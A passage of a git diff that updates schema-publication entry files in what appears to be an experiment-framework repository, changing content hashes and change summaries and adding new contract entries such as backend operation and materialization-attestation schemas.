a/contracts/schema-publication/entries/admitted-trial-plan-v1.json +++ b/contracts/schema-publication/entries/admitted-trial-plan-v1.json @@ -1,10 +1,10 @@ { + "content_hash": "a7196c336041aba73cbb7cbad3895d086d39b0a9445e6389d58756d2844df6f2", "contract_id": "admitted-trial-plan-v1", - "schema_path": "contracts/schemas/plans/admitted-trial-plan-v1.json", - "stability": "draft", - "content_hash": "c8e6c4c2fb6ee71aaef42c2fc0dc1e60d89424606ef470ed95e94af758a1cf78", "last_change": { - "summary": "Pinned exact capture-specification inputs into admitted trial plans for issue #1112.", - "content_hash": "c8e6c4c2fb6ee71aaef42c2fc0dc1e60d89424606ef470ed95e94af758a1cf78" - } + "content_hash": "a7196c336041aba73cbb7cbad3895d086d39b0a9445e6389d58756d2844df6f2", + "summary": "Add exact mixed-composition profile, participant-manifest authority, and immediate-source bindings to admitted trial entries while preserving legacy single-realizer serialization (#1015)." + }, + "schema_path": "contracts/schemas/plans/admitted-trial-plan-v1.json", + "stability": "draft" } diff --git a/contracts/schema-publication/entries/artifact-requirement-v1.json b/contracts/schema-publication/entries/artifact-requirement-v1.json index cf2bbd890..8aec6ffb5 100644 --- a/contracts/schema-publication/entries/artifact-requirement-v1.json +++ b/contracts/schema-publication/entries/artifact-requirement-v1.json @@ -1,10 +1,10 @@ { + "content_hash": "a0bbfb4ec59b959ba22be81cbd29d1bb3356e1388362ce75d57ac965a5a6ffcc", "contract_id": "artifact-requirement-v1", - "schema_path": "contracts/schemas/artifact-requirements/artifact-requirement-v1.json", - "stability": "draft", - "content_hash": "ef600afede410ece2c5a2e53d6ef0deefa26b5ce11ea72f10479b962a66794e3", "last_change": { - "summary": "Preserve governed private runtime identities and close finite operation string branches for issue #1206.", - "content_hash": "ef600afede410ece2c5a2e53d6ef0deefa26b5ce11ea72f10479b962a66794e3" - } + "content_hash": "a0bbfb4ec59b959ba22be81cbd29d1bb3356e1388362ce75d57ac965a5a6ffcc", + "summary": "Publish model-enforced omission rules for redacted runtime/image values and commands, and expected-absent filesystem facts (#1241 review)." + }, + "schema_path": "contracts/schemas/artifact-requirements/artifact-requirement-v1.json", + "stability": "draft" } diff --git a/contracts/schema-publication/entries/artifact-transformation-report-v1.json b/contracts/schema-publication/entries/artifact-transformation-report-v1.json index 52cf7528f..8b37d18b5 100644 --- a/contracts/schema-publication/entries/artifact-transformation-report-v1.json +++ b/contracts/schema-publication/entries/artifact-transformation-report-v1.json @@ -1,10 +1,10 @@ { + "content_hash": "840bb5d8b4e49609af7505bf83d2ceba452152bfeb65b66148095f50488c3f0a", "contract_id": "artifact-transformation-report-v1", - "schema_path": "contracts/schemas/artifact-transformations/artifact-transformation-report-v1.json", - "stability": "draft", - "content_hash": "c954c397970b85f1650a26deb9385710d6f2a324633d5936179be79892f8a07b", "last_change": { - "summary": "Added the generic semantic-omission loss kind emitted by candidate synthesis in issue #988.", - "content_hash": "c954c397970b85f1650a26deb9385710d6f2a324633d5936179be79892f8a07b" - } + "content_hash": "840bb5d8b4e49609af7505bf83d2ceba452152bfeb65b66148095f50488c3f0a", + "summary": "Distinguish descriptive SDL materialization canonical comparisons from authored or instantiated artifacts (#1241)." + }, + "schema_path": "contracts/schemas/artifact-transformations/artifact-transformation-report-v1.json", + "stability": "draft" } diff --git a/contracts/schema-publication/entries/associated-artifact-manifest-v1.json b/contracts/schema-publication/entries/associated-artifact-manifest-v1.json index 4d0e11511..1db827dbf 100644 --- a/contracts/schema-publication/entries/associated-artifact-manifest-v1.json +++ b/contracts/schema-publication/entries/associated-artifact-manifest-v1.json @@ -1,10 +1,10 @@ { + "content_hash": "f0cea5aae8070729c4cb17af063606943b3736a71380734b0886a751e228d548", "contract_id": "associated-artifact-manifest-v1", - "schema_path": "contracts/schemas/associated-artifacts/associated-artifact-manifest-v1.json", - "stability": "draft", - "content_hash": "f5f2eadf2be4c50c10764c180cebfd2ce12ff1cbc87ac20788e9c0604a57234b", "last_change": { - "summary": "Rebound the published schema namespace to the renamed OpenRAE GitHub organization for issue #963.", - "content_hash": "f5f2eadf2be4c50c10764c180cebfd2ce12ff1cbc87ac20788e9c0604a57234b" - } + "content_hash": "f0cea5aae8070729c4cb17af063606943b3736a71380734b0886a751e228d548", + "summary": "Add the distinct materialization-attestation reference kind to portable artifact joins; it never replaces the original scenario-snapshot identity (#1241)." + }, + "schema_path": "contracts/schemas/associated-artifacts/associated-artifact-manifest-v1.json", + "stability": "draft" } diff --git a/contracts/schema-publication/entries/authoring-adapter-comparison-v1.json b/contracts/schema-publication/entries/authoring-adapter-comparison-v1.json new file mode 100644 index 000000000..5de511694 --- /dev/null +++ b/contracts/schema-publication/entries/authoring-adapter-comparison-v1.json @@ -0,0 +1,10 @@ +{ + "content_hash": "2af260b8650313fc5b0c1b627724ffe162763c3ced5054d0b37da5e71c900345", + "contract_id": "authoring-adapter-comparison-v1", + "last_change": { + "content_hash": "2af260b8650313fc5b0c1b627724ffe162763c3ced5054d0b37da5e71c900345", + "summary": "Publish bounded authoring-path conformance composition contracts for ASR-516 (#1005)." + }, + "schema_path": "contracts/schemas/authoring-adapters/authoring-adapter-comparison-v1.json", + "stability": "draft" +} diff --git a/contracts/schema-publication/entries/authoring-adapter-profile-v1.json b/contracts/schema-publication/entries/authoring-adapter-profile-v1.json new file mode 100644 index 000000000..8608884eb --- /dev/null +++ b/contracts/schema-publication/entries/authoring-adapter-profile-v1.json @@ -0,0 +1,10 @@ +{ + "content_hash": "e1942f1c45df6984b2de7239e4a4606b1de7a4ac4f63cdd66f720754e9806bb5", + "contract_id": "authoring-adapter-profile-v1", + "last_change": { + "content_hash": "e1942f1c45df6984b2de7239e4a4606b1de7a4ac4f63cdd66f720754e9806bb5", + "summary": "Publish bounded authoring-path conformance composition contracts for ASR-516 (#1005)." + }, + "schema_path": "contracts/schemas/authoring-adapters/authoring-adapter-profile-v1.json", + "stability": "draft" +} diff --git a/contracts/schema-publication/entries/authoring-adapter-vector-v1.json b/contracts/schema-publication/entries/authoring-adapter-vector-v1.json new file mode 100644 index 000000000..2738e163e --- /dev/null +++ b/contracts/schema-publication/entries/authoring-adapter-vector-v1.json @@ -0,0 +1,10 @@ +{ + "content_hash": "bcf852338b72e8966155364f500b18c75ca62473f8fd769ed97cc11ac8018970", + "contract_id": "authoring-adapter-vector-v1", + "last_change": { + "content_hash": "bcf852338b72e8966155364f500b18c75ca62473f8fd769ed97cc11ac8018970", + "summary": "Publish bounded authoring-path conformance composition contracts for ASR-516 (#1005)." + }, + "schema_path": "contracts/schemas/authoring-adapters/authoring-adapter-vector-v1.json", + "stability": "draft" +} diff --git a/contracts/schema-publication/entries/backend-augmentation-scope-v1.json b/contracts/schema-publication/entries/backend-augmentation-scope-v1.json new file mode 100644 index 000000000..da88b8a14 --- /dev/null +++ b/contracts/schema-publication/entries/backend-augmentation-scope-v1.json @@ -0,0 +1,10 @@ +{ + "content_hash": "844b3ecfb3b8f9e68d6e8e5a141ec1769f88e11dd0c21d1dc3fa9cfb8e73b085", + "contract_id": "backend-augmentation-scope-v1", + "last_change": { + "content_hash": "844b3ecfb3b8f9e68d6e8e5a141ec1769f88e11dd0c21d1dc3fa9cfb8e73b085", + "summary": "Publish bounded, execution-bound read-only prospective SDL effects and requirement/affected-scope references for admission before mutation (#1242)." + }, + "schema_path": "contracts/schemas/plans/backend-augmentation-scope-v1.json", + "stability": "draft" +} diff --git a/contracts/schema-publication/entries/backend-manifest-v2.json b/contracts/schema-publication/entries/backend-manifest-v2.json index 155d7fc66..209d1018b 100644 --- a/contracts/schema-publication/entries/backend-manifest-v2.json +++ b/contracts/schema-publication/entries/backend-manifest-v2.json @@ -1,9 +1,9 @@ { - "content_hash": "89a83bed919e2279627e7e574693a623ccfb70d7be8f1de43803a6af325c9e56", + "content_hash": "a54f1d52cc08499c8ad50fc230c16f88f46da75a493c593c9faf8f463e4afd1f", "contract_id": "backend-manifest-v2", "last_change": { - "content_hash": "89a83bed919e2279627e7e574693a623ccfb70d7be8f1de43803a6af325c9e56", - "summary": "Added the random_value generated-artifact generator with a typed recipe (alphabet/length/entropy/format), a regeneration_scope (per_run/per_instantiation/once), content text_from and proposition expected_from deferred references, plus provisioner regeneration-scope and content_text delivery capabilities and the evaluator deferred-expected-comparison capability for issue #1276." + "summary": "Retain participant-control v2 declarations after reverting operation-supervision guarantees (#1365, #1400).", + "content_hash": "a54f1d52cc08499c8ad50fc230c16f88f46da75a493c593c9faf8f463e4afd1f" }, "schema_path": "contracts/schemas/backend-manifest/backend-manifest-v2.json", "stability": "draft" diff --git a/contracts/schema-publication/entries/backend-materialization-attestation-v1.json b/contracts/schema-publication/entries/backend-materialization-attestation-v1.json new file mode 100644 index 000000000..173943baf --- /dev/null +++ b/contracts/schema-publication/entries/backend-materialization-attestation-v1.json @@ -0,0 +1,10 @@ +{ + "content_hash": "a6880d7d74145d2d9ccb5bdc4106cd692257944060bfd13a0d1773dea230cb64", + "contract_id": "backend-materialization-attestation-v1", + "last_change": { + "content_hash": "a6880d7d74145d2d9ccb5bdc4106cd692257944060bfd13a0d1773dea230cb64", + "summary": "Publish closed descriptive SDL, negotiated backend submission and protected archive record contracts with separate identity and contextual admission invariants (#1241)." + }, + "schema_path": "contracts/schemas/plans/backend-materialization-attestation-v1.json", + "stability": "draft" +} diff --git a/contracts/schema-publication/entries/backend-operation-capabilities-v1.json b/contracts/schema-publication/entries/backend-operation-capabilities-v1.json new file mode 100644 index 000000000..cccfec2de --- /dev/null +++ b/contracts/schema-publication/entries/backend-operation-capabilities-v1.json @@ -0,0 +1,10 @@ +{ + "contract_id": "backend-operation-capabilities-v1", + "schema_path": "contracts/schemas/control-plane/backend-operation-capabilities-v1.json", + "stability": "draft", + "content_hash": "b6bf52b1ce654ccf0bbeb86355b543dffb245fbba7923fd659116cbae40e84b9", + "last_change": { + "summary": "Publish optional backend operation and supervision contracts with contextual admission and bounded evidence (#1360).", + "content_hash": "b6bf52b1ce654ccf0bbeb86355b543dffb245fbba7923fd659116cbae40e84b9" + } +} diff --git a/contracts/schema-publication/entries/backend-operation-control-v1.json b/contracts/schema-publication/entries/backend-operation-control-v1.json new file mode 100644 index 000000000..bedd32555 --- /dev/null +++ b/contracts/schema-publication/entries/backend-operation-control-v1.json @@ -0,0 +1,10 @@ +{ + "contract_id": "backend-operation-control-v1", + "schema_path": "contracts/schemas/control-plane/backend-operation-control-v1.json", + "stability": "draft", + "content_hash": "d8afe33a427d6e4d306508c0f12ea748c7170435fa4734c5a4fcf82db2df5ee9", + "last_change": { + "summary": "Publish optional backend operation and supervision contracts with contextual admission and bounded evidence (#1360).", + "content_hash": "d8afe33a427d6e4d306508c0f12ea748c7170435fa4734c5a4fcf82db2df5ee9" + } +} diff --git a/contracts/schema-publication/entries/backend-operation-request-v1.json b/contracts/schema-publication/entries/backend-operation-request-v1.json new file mode 100644 index 000000000..60a92d32b --- /dev/null +++ b/contracts/schema-publication/entries/backend-operation-request-v1.json @@ -0,0 +1,10 @@ +{ + "contract_id": "backend-operation-request-v1", + "schema_path": "contracts/schemas/control-plane/backend-operation-request-v1.json", + "stability": "draft", + "content_hash": "91cc6370f4f2d62ddc33da1a64df1982794929557401920dd0682a2a6860c98b", + "last_change": { + "summary": "Publish optional backend operation and supervision contracts with contextual admission and bounded evidence (#1360).", + "content_hash": "91cc6370f4f2d62ddc33da1a64df1982794929557401920dd0682a2a6860c98b" + } +} diff --git a/contracts/schema-publication/entries/backend-operation-response-v1.json b/contracts/schema-publication/entries/backend-operation-response-v1.json new file mode 100644 index 000000000..fac95f9fd --- /dev/null +++ b/contracts/schema-publication/entries/backend-operation-response-v1.json @@ -0,0 +1,10 @@ +{ + "contract_id": "backend-operation-response-v1", + "schema_path": "contracts/schemas/control-plane/backend-operation-response-v1.json", + "stability": "draft", + "content_hash": "2b2f7de32d9bda155b0b8c062e783721e4580fcda3a35d9e244cc951aa5bf349", + "last_change": { + "summary": "Publish optional backend operation and supervision contracts with contextual admission and bounded evidence (#1360).", + "content_hash": "2b2f7de32d9bda155b0b8c062e783721e4580fcda3a35d9e244cc951aa5bf349" + } +} diff --git a/contracts/schema-publication/entries/backend-profile-v1.json b/contracts/schema-publication/entries/backend-profile-v1.json index 6720d3314..a5acaf849 100644 --- a/contracts/schema-publication/entries/backend-profile-v1.json +++ b/contracts/schema-publication/entries/backend-profile-v1.json @@ -1,10 +1,10 @@ { + "content_hash": "b51c39ee482a49608a96ce3bdc66f587a2cdff9daf5b8c872a079dd920d88f56", "contract_id": "backend-profile-v1", - "schema_path": "contracts/schemas/profiles/backend-profile-v1.json", - "stability": "draft", - "content_hash": "28ba85defc5b36001e92781783a386ff1533b74329b6308fa5fce59e574fdc36", "last_change": { - "summary": "Negotiated read-only backend preparation and optional plan-level profile support for issue #1204.", - "content_hash": "28ba85defc5b36001e92781783a386ff1533b74329b6308fa5fce59e574fdc36" - } + "summary": "Allow exact declarations of participant-control v2 selection and evaluation contracts (#1365).", + "content_hash": "b51c39ee482a49608a96ce3bdc66f587a2cdff9daf5b8c872a079dd920d88f56" + }, + "schema_path": "contracts/schemas/profiles/backend-profile-v1.json", + "stability": "draft" } diff --git a/contracts/schema-publication/entries/behavioral-relation-profile-v1.json b/contracts/schema-publication/entries/behavioral-relation-profile-v1.json index d7948d417..fb85520bf 100644 --- a/contracts/schema-publication/entries/behavioral-relation-profile-v1.json +++ b/contracts/schema-publication/entries/behavioral-relation-profile-v1.json @@ -2,9 +2,9 @@ "contract_id": "behavioral-relation-profile-v1", "schema_path": "contracts/schemas/profiles/behavioral-relation-profile-v1.json", "stability": "draft", - "content_hash": "b718945e218c75749b7377902e67854ea01c23d4e52e89e504b4c3d4b2d1e4d1", + "content_hash": "a1cfddabde6cb363e4514808b31110631a4e147bd9e83fe262f4a9763dcd5aa1", "last_change": { - "summary": "Added the abstract theorem-carrier variant, encoded carrier joins, and rebound the schema namespace to OpenRAE for issue #963.", - "content_hash": "b718945e218c75749b7377902e67854ea01c23d4e52e89e504b4c3d4b2d1e4d1" + "summary": "Add the closed single-operation DPBB profile variant, complete domains and both carrier identities; preserve opacity profiles (issue #971).", + "content_hash": "a1cfddabde6cb363e4514808b31110631a4e147bd9e83fe262f4a9763dcd5aa1" } } diff --git a/contracts/schema-publication/entries/evaluation-plan-v1.json b/contracts/schema-publication/entries/evaluation-plan-v1.json index 08005cf6c..437f18907 100644 --- a/contracts/schema-publication/entries/evaluation-plan-v1.json +++ b/contracts/schema-publication/entries/evaluation-plan-v1.json @@ -1,9 +1,9 @@ { - "content_hash": "3d9a9f2676a4896441a61a72d1cba1c139dfbd93e603df864ec1c7233b646fd8", + "content_hash": "cf76df1286058ff5dd35f44cdcbcac91d0cd45178b5006f70f509fd25948003b", "contract_id": "evaluation-plan-v1", "last_change": { - "content_hash": "3d9a9f2676a4896441a61a72d1cba1c139dfbd93e603df864ec1c7233b646fd8", - "summary": "Carry value-free run_id and instantiation_id scope identity through the published plan model for issue #1276." + "content_hash": "cf76df1286058ff5dd35f44cdcbcac91d0cd45178b5006f70f509fd25948003b", + "summary": "Bind explicit augmentation-scope negotiation to the canonical phase plan independently of diagnostics (#1242)." }, "schema_path": "contracts/schemas/plans/evaluation-plan-v1.json", "stability": "draft" diff --git a/contracts/schema-publication/entries/experiment-apparatus-context-v1.json b/contracts/schema-publication/entries/experiment-apparatus-context-v1.json index 6033c0ea2..f1b72a292 100644 --- a/contracts/schema-publication/entries/experiment-apparatus-context-v1.json +++ b/contracts/schema-publication/entries/experiment-apparatus-context-v1.json @@ -1,10 +1,10 @@ { + "content_hash": "dd0d9b5f6a2439275d85e42bcd344870099f23ed42bb008fd845d52301fa1635", "contract_id": "experiment-apparatus-context-v1", - "schema_path": "contracts/schemas/experiment-core/experiment-apparatus-context-v1.json", - "stability": "draft", - "content_hash": "0e985b9cf8984e472f988be384c2d2c10aa8c999221a11624bc0cce25dbee47b", "last_change": { - "summary": "Rebound the published schema namespace to the renamed OpenRAE GitHub organization for issue #963.", - "content_hash": "0e985b9cf8984e472f988be384c2d2c10aa8c999221a11624bc0cce25dbee47b" - } + "content_hash": "dd0d9b5f6a2439275d85e42bcd344870099f23ed42bb008fd845d52301fa1635", + "summary": "Add the distinct materialization-attestation reference kind to portable artifact joins; it never replaces the original scenario-snapshot identity (#1241)." + }, + "schema_path": "contracts/schemas/experiment-core/experiment-apparatus-context-v1.json", + "stability": "draft" } diff --git a/contracts/schema-publication/entries/experiment-authoring-input-v1.json b/contracts/schema-publication/entries/experiment-authoring-input-v1.json index 9efc0d6fc..e1f9697b2 100644 --- a/contracts/schema-publication/entries/experiment-authoring-input-v1.json +++ b/contracts/schema-publication/entries/experiment-authoring-input-v1.json @@ -1,10 +1,10 @@ { + "content_hash": "2c2f2353cc8b5211af2d9604c317d945264202afbe517542d63de2d475848fc3", "contract_id": "experiment-authoring-input-v1", - "schema_path": "contracts/schemas/experiment-core/experiment-authoring-input-v1.json", - "stability": "draft", - "content_hash": "622f11dec095deee90e7bf1885b71c58cc1b111a53ca6d7483b58ee1b5f54f92", "last_change": { - "summary": "Added scoped observation demand and content-validated evidence bindings for issues #1212 and #1112.", - "content_hash": "622f11dec095deee90e7bf1885b71c58cc1b111a53ca6d7483b58ee1b5f54f92" - } + "content_hash": "2c2f2353cc8b5211af2d9604c317d945264202afbe517542d63de2d475848fc3", + "summary": "Add typed prospective run evidence-requirement relations and distinct materialization-attestation references (#341, #1241)." + }, + "schema_path": "contracts/schemas/experiment-core/experiment-authoring-input-v1.json", + "stability": "draft" } diff --git a/contracts/schema-publication/entries/experiment-capture-spec-v1.json b/contracts/schema-publication/entries/experiment-capture-spec-v1.json index 283c56a6b..13b216685 100644 --- a/contracts/schema-publication/entries/experiment-capture-spec-v1.json +++ b/contracts/schema-publication/entries/experiment-capture-spec-v1.json @@ -1,10 +1,10 @@ { + "content_hash": "107ae56109f33854c4e35d0d7a095af544fd86b95efb9206f932420c08a889fe", "contract_id": "experiment-capture-spec-v1", - "schema_path": "contracts/schemas/experiment-core/experiment-capture-spec-v1.json", - "stability": "draft", - "content_hash": "c9deceefe7d25b9058b08c971c4e4ebe2436e794ec7eda52cdaf7233d3d25a6d", "last_change": { - "summary": "Added scoped demand semantics and governed output, selector, window, and redaction terms for issues #1212 and #1112.", - "content_hash": "c9deceefe7d25b9058b08c971c4e4ebe2436e794ec7eda52cdaf7233d3d25a6d" - } + "content_hash": "107ae56109f33854c4e35d0d7a095af544fd86b95efb9206f932420c08a889fe", + "summary": "Constrain required evidence media types to registered, content-provable output contracts (#1401)." + }, + "schema_path": "contracts/schemas/experiment-core/experiment-capture-spec-v1.json", + "stability": "draft" } diff --git a/contracts/schema-publication/entries/experiment-derived-measure-v1.json b/contracts/schema-publication/entries/experiment-derived-measure-v1.json index 078f66ac3..3e353d8ad 100644 --- a/contracts/schema-publication/entries/experiment-derived-measure-v1.json +++ b/contracts/schema-publication/entries/experiment-derived-measure-v1.json @@ -1,10 +1,10 @@ { + "content_hash": "6f6ffd29ad197e95448b09e51291a6208a1f786fa068dfe260a7a8ff314ce642", "contract_id": "experiment-derived-measure-v1", - "schema_path": "contracts/schemas/experiment-core/experiment-derived-measure-v1.json", - "stability": "draft", - "content_hash": "73d7bfbf2832e37573b29d6aa3420a92386df19efda0596a841e15d65addf24c", "last_change": { - "summary": "Rebound the published schema namespace to the renamed OpenRAE GitHub organization for issue #963.", - "content_hash": "73d7bfbf2832e37573b29d6aa3420a92386df19efda0596a841e15d65addf24c" - } + "content_hash": "6f6ffd29ad197e95448b09e51291a6208a1f786fa068dfe260a7a8ff314ce642", + "summary": "Add the distinct materialization-attestation reference kind to portable artifact joins; it never replaces the original scenario-snapshot identity (#1241)." + }, + "schema_path": "contracts/schemas/experiment-core/experiment-derived-measure-v1.json", + "stability": "draft" } diff --git a/contracts/schema-publication/entries/experiment-evidence-record-v1.json b/contracts/schema-publication/entries/experiment-evidence-record-v1.json index 734055e0e..9d79a0f75 100644 --- a/contracts/schema-publication/entries/experiment-evidence-record-v1.json +++ b/contracts/schema-publication/entries/experiment-evidence-record-v1.json @@ -1,10 +1,10 @@ { + "content_hash": "c944a50797f486e94cbe210cfdaaab3d254ee33c7fabeb8557063f00c43c774a", "contract_id": "experiment-evidence-record-v1", - "schema_path": "contracts/schemas/experiment-core/experiment-evidence-record-v1.json", - "stability": "draft", - "content_hash": "b22bd7b5db37e8040c20245b89f916115afef4ccdbdc5bf27b387769aac554b5", "last_change": { - "content_hash": "b22bd7b5db37e8040c20245b89f916115afef4ccdbdc5bf27b387769aac554b5", - "summary": "Reconcile issue #1209 partial realization descriptions with issue #1205 named version predicates in their shared recursive domain contract." - } + "content_hash": "c944a50797f486e94cbe210cfdaaab3d254ee33c7fabeb8557063f00c43c774a", + "summary": "Add the distinct materialization-attestation reference kind to portable artifact joins; it never replaces the original scenario-snapshot identity (#1241)." + }, + "schema_path": "contracts/schemas/experiment-core/experiment-evidence-record-v1.json", + "stability": "draft" } diff --git a/contracts/schema-publication/entries/experiment-run-v1.json b/contracts/schema-publication/entries/experiment-run-v1.json index b3ed06278..7985d7c23 100644 --- a/contracts/schema-publication/entries/experiment-run-v1.json +++ b/contracts/schema-publication/entries/experiment-run-v1.json @@ -1,10 +1,10 @@ { + "content_hash": "11a33e0eab2c412c6162025e601a54b3d06eab2a12f038e8f847f700dbddffd9", "contract_id": "experiment-run-v1", - "schema_path": "contracts/schemas/experiment-core/experiment-run-v1.json", - "stability": "draft", - "content_hash": "fd999638beb626786aaafc9610abad5e251d3c643bac4a8cc0d7793419418417", "last_change": { - "content_hash": "fd999638beb626786aaafc9610abad5e251d3c643bac4a8cc0d7793419418417", - "summary": "Reconcile issue #1209 partial realization descriptions with issue #1205 named version predicates in their shared recursive domain contract." - } + "content_hash": "11a33e0eab2c412c6162025e601a54b3d06eab2a12f038e8f847f700dbddffd9", + "summary": "Preserve evidence-requirement lineage and protected materialization archive records through run and runtime snapshots (#341, #1241)." + }, + "schema_path": "contracts/schemas/experiment-core/experiment-run-v1.json", + "stability": "draft" } diff --git a/contracts/schema-publication/entries/experiment-study-v1.json b/contracts/schema-publication/entries/experiment-study-v1.json index 812994dd5..5ef5fd65a 100644 --- a/contracts/schema-publication/entries/experiment-study-v1.json +++ b/contracts/schema-publication/entries/experiment-study-v1.json @@ -1,10 +1,10 @@ { + "content_hash": "9b33261f1646aa64bb37b8d95b2d07c686049b1106ba5d064738742752e9992a", "contract_id": "experiment-study-v1", - "schema_path": "contracts/schemas/experiment-core/experiment-study-v1.json", - "stability": "draft", - "content_hash": "c8eef5845c6b50a7c9a450239fb4547fca9ef3f21c446626035eb5cb937bb33f", "last_change": { - "summary": "Required study evidence conditions to consume content-validated run evidence bindings for issue #1112.", - "content_hash": "c8eef5845c6b50a7c9a450239fb4547fca9ef3f21c446626035eb5cb937bb33f" - } + "content_hash": "9b33261f1646aa64bb37b8d95b2d07c686049b1106ba5d064738742752e9992a", + "summary": "Add typed study evidence-requirement relations and distinct materialization-attestation references (#341, #1241)." + }, + "schema_path": "contracts/schemas/experiment-core/experiment-study-v1.json", + "stability": "draft" } diff --git a/contracts/schema-publication/entries/experiment-task-v1.json b/contracts/schema-publication/entries/experiment-task-v1.json index 852237f54..60acec150 100644 --- a/contracts/schema-publication/entries/experiment-task-v1.json +++ b/contracts/schema-publication/entries/experiment-task-v1.json @@ -1,10 +1,10 @@ { + "content_hash": "a86406cca05a5a6c3ef8e1119dd99a4dfbe5311782be340622ca2dbd4a72de1c", "contract_id": "experiment-task-v1", - "schema_path": "contracts/schemas/experiment-core/experiment-task-v1.json", - "stability": "draft", - "content_hash": "868baac40f1b278a3fa854b11ec87ed74f765ffb241913ca3b11cf4c3bf1907e", "last_change": { - "summary": "Added the scoped observation-demand task carrier for issue #1212.", - "content_hash": "868baac40f1b278a3fa854b11ec87ed74f765ffb241913ca3b11cf4c3bf1907e" - } + "content_hash": "a86406cca05a5a6c3ef8e1119dd99a4dfbe5311782be340622ca2dbd4a72de1c", + "summary": "Add typed task evidence-requirement relations and distinct materialization-attestation references (#341, #1241)." + }, + "schema_path": "contracts/schemas/experiment-core/experiment-task-v1.json", + "stability": "draft" } diff --git a/contracts/schema-publication/entries/external-concept-bindings-v1.json b/contracts/schema-publication/entries/external-concept-bindings-v1.json index 0e52753fb..f16ba4fb8 100644 --- a/contracts/schema-publication/entries/external-concept-bindings-v1.json +++ b/contracts/schema-publication/entries/external-concept-bindings-v1.json @@ -1,10 +1,10 @@ { + "content_hash": "38c41edabb9c99c963bd83e4f7869f4f80392913f6ca1ac7742cea2a5ab67687", "contract_id": "external-concept-bindings-v1", - "schema_path": "contracts/schemas/concept-authority/external-concept-bindings-v1.json", - "stability": "draft", - "content_hash": "4779c89b92f03c8a99e5a2da7580744115163550296b83992e9aa7ce86fd097e", "last_change": { - "summary": "Rebound the published schema namespace to the renamed OpenRAE GitHub organization for issue #963.", - "content_hash": "4779c89b92f03c8a99e5a2da7580744115163550296b83992e9aa7ce86fd097e" - } + "content_hash": "38c41edabb9c99c963bd83e4f7869f4f80392913f6ca1ac7742cea2a5ab67687", + "summary": "Add the distinct materialization-attestation reference kind to portable artifact joins; it never replaces the original scenario-snapshot identity (#1241)." + }, + "schema_path": "contracts/schemas/concept-authority/external-concept-bindings-v1.json", + "stability": "draft" } diff --git a/contracts/schema-publication/entries/instantiated-scenario-snapshot-v1.json b/contracts/schema-publication/entries/instantiated-scenario-snapshot-v1.json index 1f857cacd..830ae67ea 100644 --- a/contracts/schema-publication/entries/instantiated-scenario-snapshot-v1.json +++ b/contracts/schema-publication/entries/instantiated-scenario-snapshot-v1.json @@ -1,9 +1,9 @@ { - "content_hash": "7834d0cd38425cdb9833774bcda37a6679f0b48f812d1f3f7adbc889fb17c2a2", + "content_hash": "d0c968908419a064c59f7ac3b518733fdf74576b4aa49307dd22b2ae8cc93c25", "contract_id": "instantiated-scenario-snapshot-v1", "last_change": { - "content_hash": "7834d0cd38425cdb9833774bcda37a6679f0b48f812d1f3f7adbc889fb17c2a2", - "summary": "Reconcile the #1210 progressive semantic cutover (explicit revision, migration decisions, and canonical authoring/snapshot profiles) with the #1276 StringPredicate expected/expected_from XOR invariant and random-value/scope/binding fields." + "summary": "Add participant-local outcomes and identity assignment alongside opt-in bounded shared-time guarantees.", + "content_hash": "d0c968908419a064c59f7ac3b518733fdf74576b4aa49307dd22b2ae8cc93c25" }, "schema_path": "contracts/schemas/sdl/instantiated-scenario-snapshot-v1.json", "stability": "draft" diff --git a/contracts/schema-publication/entries/instantiated-scenario-v1.json b/contracts/schema-publication/entries/instantiated-scenario-v1.json index 2c0b111eb..ee3112e7d 100644 --- a/contracts/schema-publication/entries/instantiated-scenario-v1.json +++ b/contracts/schema-publication/entries/instantiated-scenario-v1.json @@ -1,9 +1,9 @@ { - "content_hash": "f4dc01e67eb06d5c91d21d2904fadf8a8f5633ade3886a590135d679eefc031c", + "content_hash": "0e33ddd6438399e6b032ac275c7eed50c80634db84e415b17fac56836a652c57", "contract_id": "instantiated-scenario-v1", "last_change": { - "content_hash": "f4dc01e67eb06d5c91d21d2904fadf8a8f5633ade3886a590135d679eefc031c", - "summary": "Reconcile the #1210 progressive semantic cutover (explicit revision, migration decisions, and canonical authoring/snapshot profiles) with the #1276 StringPredicate expected/expected_from XOR invariant and random-value/scope/binding fields." + "summary": "Add participant-local outcomes and identity assignment alongside opt-in bounded shared-time guarantees.", + "content_hash": "0e33ddd6438399e6b032ac275c7eed50c80634db84e415b17fac56836a652c57" }, "schema_path": "contracts/schemas/sdl/instantiated-scenario-v1.json", "stability": "draft" diff --git a/contracts/schema-publication/entries/materialization-archive-record-v1.json b/contracts/schema-publication/entries/materialization-archive-record-v1.json new file mode 100644 index 000000000..682b4042c --- /dev/null +++ b/contracts/schema-publication/entries/materialization-archive-record-v1.json @@ -0,0 +1,10 @@ +{ + "content_hash": "f8e7e4980a76f7c66208058e46158de5ae7087c6b6e4fe819a3e9c0a3e510d8a", + "contract_id": "materialization-archive-record-v1", + "last_change": { + "content_hash": "f8e7e4980a76f7c66208058e46158de5ae7087c6b6e4fe819a3e9c0a3e510d8a", + "summary": "Publish closed descriptive SDL, negotiated backend submission and protected archive record contracts with separate identity and contextual admission invariants (#1241)." + }, + "schema_path": "contracts/schemas/experiment-core/materialization-archive-record-v1.json", + "stability": "draft" +} diff --git a/contracts/schema-publication/entries/materialized-scenario-v1.json b/contracts/schema-publication/entries/materialized-scenario-v1.json new file mode 100644 index 000000000..2b1a4e3ef --- /dev/null +++ b/contracts/schema-publication/entries/materialized-scenario-v1.json @@ -0,0 +1,10 @@ +{ + "content_hash": "85332d604fc72bd0813e711b99bc94d59d9432fed465ed80936b3d25bff0a92c", + "contract_id": "materialized-scenario-v1", + "last_change": { + "summary": "Add participant-local outcomes and identity assignment alongside opt-in bounded shared-time guarantees.", + "content_hash": "85332d604fc72bd0813e711b99bc94d59d9432fed465ed80936b3d25bff0a92c" + }, + "schema_path": "contracts/schemas/sdl/materialized-scenario-v1.json", + "stability": "draft" +} diff --git a/contracts/schema-publication/entries/mixed-participant-composition-profile-v1.json b/contracts/schema-publication/entries/mixed-participant-composition-profile-v1.json new file mode 100644 index 000000000..3d9e1dea7 --- /dev/null +++ b/contracts/schema-publication/entries/mixed-participant-composition-profile-v1.json @@ -0,0 +1,10 @@ +{ + "content_hash": "997a43c52d5504ad5f963f8a022dc5ae6bf43f30dbd141ded05f82bdde602b90", + "contract_id": "mixed-participant-composition-profile-v1", + "last_change": { + "content_hash": "997a43c52d5504ad5f963f8a022dc5ae6bf43f30dbd141ded05f82bdde602b90", + "summary": "Publish the initial closed SEM-234 mixed-participant composition profile (#1014)." + }, + "schema_path": 